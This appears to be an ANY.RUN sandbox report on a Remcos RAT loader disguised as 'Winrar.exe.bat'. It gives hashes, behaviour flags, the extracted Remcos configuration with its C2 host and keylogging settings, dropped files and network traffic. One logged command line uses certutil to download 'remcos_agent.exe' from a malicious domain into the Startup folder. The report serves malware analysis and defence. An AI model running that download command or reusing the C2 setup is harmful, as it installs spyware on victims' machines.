File name:

Winrar.exe.bat

Full analysis: https://app.any.run/tasks/12b65311-2b42-4c30-9d0a-a72af654aeb5
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Analysis date: October 23, 2024, 02:28:01
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
rat
remcos
loader
autoit
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (GUI) Intel 80386, for MS Windows
MD5:

F745D3E5F3D50E12765633DC7EF2E454

SHA1:

FCFD3F06D4B0A656DEAD2B8D5F700DE669E24ACA

SHA256:

000482BECEE122F0D2BBCBF7760D60FD1C8D3913A65C8144C0E15FBB72F5AC82

SSDEEP:

49152:ge5KBiGQXqWMZJsBEquh68QqyxBXSCsPmns1lkJF0YmKDSd02OtH58Vq84NOH7nM:zGiDXmZ+Vuh68QqoBXSCsPmns1lkJF0q

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Create files in the Startup directory

      • Winrar.exe.bat.exe (PID: 6024)
    • Starts CertUtil for downloading files

      • cmd.exe (PID: 6620)
    • REMCOS has been detected (YARA)

      • Winrar.exe.bat.exe (PID: 4828)
    • REMCOS has been detected (SURICATA)

      • certutil.exe (PID: 6268)
  • SUSPICIOUS

    • Reads security settings of Internet Explorer

      • Winrar.exe.bat.exe (PID: 6024)
    • Starts CMD.EXE for commands execution

      • Winrar.exe.bat.exe (PID: 6024)
    • Executing commands from a ".bat" file

      • Winrar.exe.bat.exe (PID: 6024)
    • Executable content was dropped or overwritten

      • Winrar.exe.bat.exe (PID: 6024)
    • Suspicious files were dropped or overwritten

      • Winrar.exe.bat.exe (PID: 6024)
    • Application launched itself

      • Winrar.exe.bat.exe (PID: 6024)
    • Potential Corporate Privacy Violation

      • certutil.exe (PID: 6268)
  • INFO

    • Reads mouse settings

      • Winrar.exe.bat.exe (PID: 6024)
    • Reads the computer name

      • Winrar.exe.bat.exe (PID: 6024)
    • Process checks computer location settings

      • Winrar.exe.bat.exe (PID: 6024)
    • Create files in a temporary directory

      • Winrar.exe.bat.exe (PID: 6024)
    • Checks supported languages

      • Winrar.exe.bat.exe (PID: 6024)
    • The process uses the downloaded file

      • Winrar.exe.bat.exe (PID: 6024)
    • Creates files or folders in the user directory

      • Winrar.exe.bat.exe (PID: 6024)
    • Reads the machine GUID from the registry

      • Winrar.exe.bat.exe (PID: 6024)
    • The process uses AutoIt

      • Winrar.exe.bat.exe (PID: 6024)
      • Winrar.exe.bat.exe (PID: 4828)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

Remcos

(PID) Process(4828) Winrar.exe.bat.exe
C2 (1)www.rmagent.biz:7181
BotnetRemote%Host
Options
Connect_interval1
Install_flagFalse
Install_HKCU\RunTrue
Setup_path%APPDATA%
Copy_filevbs.server.exe
Startup_valuevbs.server
Hide_fileTrue
Mutex_nameRemcos-00GA1C
Keylog_flag1
Keylog_path%APPDATA%
Keylog_filelogs.dat
Keylog_cryptFalse
Hide_keylogFalse
Screenshot_flagFalse
Screenshot_time5
Take_ScreenshotFalse
Screenshot_namewikipedia;solitaire;
Screenshot_path%APPDATA%
Screenshot_fileScreenshots
Screenshot_cryptFalse
Mouse_optionFalse
Delete_fileTrue
Audio_record_time5
Audio_path%APPDATA%
Audio_dirMicRecords
Connect_delay0
Copy_dirvbs.server
Keylog_dirremcos
Max_keylog_file10000
No Malware configuration.

TRiD

.exe | Win64 Executable (generic) (64.6)
.dll | Win32 Dynamic Link Library (generic) (15.4)
.exe | Win32 Executable (generic) (10.5)
.exe | Generic Win/DOS Executable (4.6)
.exe | DOS Executable Generic (4.6)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2019:06:01 11:11:54+00:00
ImageFileCharacteristics: Executable, Large address aware, 32-bit
PEType: PE32
LinkerVersion: 12
CodeSize: 581632
InitializedDataSize: 398336
UninitializedDataSize: -
EntryPoint: 0x2800a
OSVersion: 5.1
ImageVersion: -
SubsystemVersion: 5.1
Subsystem: Windows GUI
FileVersionNumber: 0.0.0.0
ProductVersionNumber: 0.0.0.0
FileFlagsMask: 0x0000
FileFlags: (none)
FileOS: Win32
ObjectFileType: Executable application
FileSubtype: -
LanguageCode: English (British)
CharacterSet: Unicode
No data.
screenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
139
Monitored processes
7
Malicious processes
4
Suspicious processes
0

Behavior graph

Click at the process to see the details
start THREAT winrar.exe.bat.exe cmd.exe no specs conhost.exe no specs #REMCOS certutil.exe #REMCOS winrar.exe.bat.exe no specs sppextcomobj.exe no specs slui.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
4792\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
4828"C:\Users\admin\AppData\Local\Temp\Winrar.exe.bat.exe"C:\Users\admin\AppData\Local\Temp\Winrar.exe.bat.exe
Winrar.exe.bat.exe
User:
admin
Integrity Level:
MEDIUM
Modules
Images
c:\users\admin\appdata\local\temp\winrar.exe.bat.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\user32.dll
Remcos
(PID) Process(4828) Winrar.exe.bat.exe
C2 (1)www.rmagent.biz:7181
BotnetRemote%Host
Options
Connect_interval1
Install_flagFalse
Install_HKCU\RunTrue
Setup_path%APPDATA%
Copy_filevbs.server.exe
Startup_valuevbs.server
Hide_fileTrue
Mutex_nameRemcos-00GA1C
Keylog_flag1
Keylog_path%APPDATA%
Keylog_filelogs.dat
Keylog_cryptFalse
Hide_keylogFalse
Screenshot_flagFalse
Screenshot_time5
Take_ScreenshotFalse
Screenshot_namewikipedia;solitaire;
Screenshot_path%APPDATA%
Screenshot_fileScreenshots
Screenshot_cryptFalse
Mouse_optionFalse
Delete_fileTrue
Audio_record_time5
Audio_path%APPDATA%
Audio_dirMicRecords
Connect_delay0
Copy_dirvbs.server
Keylog_dirremcos
Max_keylog_file10000
6024"C:\Users\admin\AppData\Local\Temp\Winrar.exe.bat.exe" C:\Users\admin\AppData\Local\Temp\Winrar.exe.bat.exe
explorer.exe
User:
admin
Integrity Level:
MEDIUM
Modules
Images
c:\users\admin\appdata\local\temp\winrar.exe.bat.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\psapi.dll
6100C:\WINDOWS\system32\SppExtComObj.exe -EmbeddingC:\Windows\System32\SppExtComObj.Exesvchost.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
KMS Connection Broker
Version:
10.0.19041.3996 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\sppextcomobj.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\oleaut32.dll
6268certutil.exe -urlcache -split -f "http://al-sharqgroup.com/remcos_agent.exe" "C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\yourfile.exe"C:\Windows\SysWOW64\certutil.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
CertUtil.exe
Exit code:
0
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\certutil.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\advapi32.dll
6340"C:\WINDOWS\System32\SLUI.exe" RuleId=3482d82e-ca2c-4e1f-8864-da0267b484b2;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c;NotificationInterval=1440;Trigger=TimerEventC:\Windows\System32\slui.exeSppExtComObj.Exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows Activation Client
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
6620C:\WINDOWS\system32\cmd.exe /c ""C:\Users\admin\AppData\Local\Temp\startup.bat" "C:\Windows\SysWOW64\cmd.exeWinrar.exe.bat.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\msvcrt.dll
Total events
1 553
Read events
1 548
Write events
5
Delete events
0

Modification events

(PID) Process:(6268) certutil.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
Operation:writeName:CachePrefix
Value:
(PID) Process:(6268) certutil.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(6268) certutil.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
(PID) Process:(4828) Winrar.exe.bat.exeKey:HKEY_CURRENT_USER\SOFTWARE\Remcos-00GA1C
Operation:writeName:exepath
Value:
C3844C4E64E02C4A47A97312FBCC60811106830AAF38EA53DF5C4411B9ED0178B7037829A4FC274962D399FA054999BCAA5BC79D986CAA0A45ED6A749EE4B17B48D26D2BDD436BB14553AA2FED85A0A8C4161D93B188A03C476ACA6AEBFAB139818C3C7BA52276A9EDB6
(PID) Process:(4828) Winrar.exe.bat.exeKey:HKEY_CURRENT_USER\SOFTWARE\Remcos-00GA1C
Operation:writeName:licence
Value:
C3741C30304C6893AF7D22AF61B956C3
Executable files
1
Suspicious files
2
Text files
6
Unknown types
0

Dropped files

PID
Process
Filename
Type
6024Winrar.exe.bat.exeC:\Users\admin\AppData\Roaming\Winrar.exe.batexecutable
MD5:7031ACCD488C1C12CF3C565FA9DC3677
SHA256:6953FB1C2670B9BCC322B385989E75E3BC8086AD8D22C20AA96F7B84C010E305
6024Winrar.exe.bat.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BluetoothApis.lnkbinary
MD5:A783EC35840A7A6ED37BB1212FE9F95D
SHA256:72FB9E7F7E8873E9AE8565D99FCE80CE88E63CE6C7782AC21699BDE74D6DEC16
6268certutil.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\1C09404C57557B615F20908F27E17592binary
MD5:2D606EF38DC761C45DB4C0B5862186C5
SHA256:5B76488248157A37528453A8F388AF3D09B5DAB9321F664D358C8BB09AF97F00
6268certutil.exeC:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\IE\RR3E01RZ\remcos_agent[1].htmhtml
MD5:D717952CDEBE443F9617396A2A09C636
SHA256:E9ADF6A8D2978A2E42DA852FE568F9048472A0DEBBA65541246131C19520FBFA
6268certutil.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\1C09404C57557B615F20908F27E17592html
MD5:D717952CDEBE443F9617396A2A09C636
SHA256:E9ADF6A8D2978A2E42DA852FE568F9048472A0DEBBA65541246131C19520FBFA
6620cmd.exeC:\Users\admin\AppData\Local\Temp\nulltext
MD5:8A61C20D2499C09302793F7B970CA60C
SHA256:0F7AD0011A4D5017824C46C46FC043B7836C98FE149EC423A65DD8DBD1406B3F
6024Winrar.exe.bat.exeC:\Users\admin\AppData\Local\Temp\startup.battext
MD5:139392CA64FF374FA0D7B289C71FB24E
SHA256:1AA1D3F94403886D377C65CF35624D289107EA78BEEDAF433D18C83B20C3092F
6268certutil.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\yourfile.exehtml
MD5:D717952CDEBE443F9617396A2A09C636
SHA256:E9ADF6A8D2978A2E42DA852FE568F9048472A0DEBBA65541246131C19520FBFA
4828Winrar.exe.bat.exeC:\Users\admin\AppData\Roaming\remcos\logs.dattext
MD5:408C528E41D1D4417A1D189A22816035
SHA256:E5B29E0E34EDE7F9B2D5D06F58FCB031A5999B29CFDD3722ABC66857F5DC0BA0
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
9
TCP/UDP connections
65
DNS requests
32
Threats
4

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D
unknown
whitelisted
6268
certutil.exe
GET
200
77.55.179.250:80
http://al-sharqgroup.com/remcos_agent.exe
unknown
malicious
6268
certutil.exe
GET
200
77.55.179.250:80
http://al-sharqgroup.com/remcos_agent.exe
unknown
malicious
5488
MoUsoCoreWorker.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
whitelisted
5488
MoUsoCoreWorker.exe
GET
200
23.216.77.28:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
whitelisted
5232
svchost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
whitelisted
3912
backgroundTaskHost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D
unknown
whitelisted
6952
SIHClient.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
whitelisted
6952
SIHClient.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
whitelisted
6944
svchost.exe
20.73.194.208:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
2464
RUXIMICS.exe
20.73.194.208:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
5488
MoUsoCoreWorker.exe
20.73.194.208:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
4360
SearchApp.exe
104.126.37.128:443
www.bing.com
Akamai International B.V.
DE
whitelisted
192.229.221.95:80
ocsp.digicert.com
EDGECAST
US
whitelisted
4
System
192.168.100.255:138
whitelisted
6268
certutil.exe
77.55.179.250:80
al-sharqgroup.com
Nazwa.pl Sp.z.o.o.
PL
malicious
5232
svchost.exe
40.126.32.134:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
5232
svchost.exe
192.229.221.95:80
ocsp.digicert.com
EDGECAST
US
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 20.73.194.208
  • 51.124.78.146
whitelisted
www.bing.com
  • 104.126.37.128
  • 104.126.37.145
  • 104.126.37.131
  • 104.126.37.139
whitelisted
google.com
  • 142.250.184.238
whitelisted
ocsp.digicert.com
  • 192.229.221.95
whitelisted
www.rmagent.biz
malicious
al-sharqgroup.com
  • 77.55.179.250
malicious
login.live.com
  • 40.126.32.134
  • 20.190.160.14
  • 40.126.32.133
  • 40.126.32.136
  • 40.126.32.72
  • 40.126.32.140
  • 40.126.32.76
  • 40.126.32.68
whitelisted
go.microsoft.com
  • 184.30.17.189
whitelisted
th.bing.com
  • 104.126.37.145
  • 104.126.37.131
  • 104.126.37.139
whitelisted
crl.microsoft.com
  • 23.216.77.28
  • 23.216.77.6
whitelisted

Threats

Found threats are available for the paid subscriptions
4 ETPRO signatures available at the full report
No debug info